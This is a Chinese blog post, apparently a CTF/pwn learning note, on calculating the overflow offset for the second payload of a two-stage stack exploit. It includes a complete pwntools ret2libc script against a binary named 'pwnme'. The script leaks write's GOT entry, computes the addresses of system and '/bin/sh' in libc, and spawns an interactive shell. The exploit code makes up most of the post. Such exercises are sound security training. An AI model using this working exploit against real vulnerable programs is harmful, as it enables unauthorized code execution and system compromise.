多次溢出payload偏移量计算

第二次payload,定位经常和第一次不一样导致漏洞利用不成功。

一直都是手工分析,有些很难发现的原因导致一直分析不出来,还很浪费时间。

最后总结了一种用脚本判断第二次payload地址的方法。

核心代码:

p=process()

context.log_level = 'debug'

gdb.attach(p)

payload1=.......

......

payload2="一串字符串"+返回地址+函数参数1+2+3+。。。。。(一串字符串用pattern_create生成)

在attach中会报错,用patter_offset计算偏移,得到第二次的溢出位置

 

 

from pwn import *

local = True
log = True

if local:
    io = process('./pwnme')
else :
    io = remote('ip' , 'port')

context.log_level = 'debug'

 

write_got = 0x804A01c
main = 0x804847D
write_plt = 0x8048370

payload1 = 'a'*20+ p32(write_plt) + p32(main) + p32(1) + p32(write_got) + p32(4)


io.recvuntil('the flag:\n')

#gdb.attach(io)

io.sendline(payload1)
libc  =  ELF('./libc.so.6')


write_got_addr = u32(io.recv(4))

print hex(write_got_addr)

system_add = write_got_addr -  libc.symbols['write'] + libc.symbols['system']

print hex(system_add)


binsh_add  = write_got_addr - libc.symbols['write'] + next(libc.search('/bin/sh'))
print "binshadd:" +hex(binsh_add)
payload2 = 'a'*20+ p32(system_add) + p32(0) + p32(binsh_add)


io.sendline(payload2)
io.interactive()

 

 

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值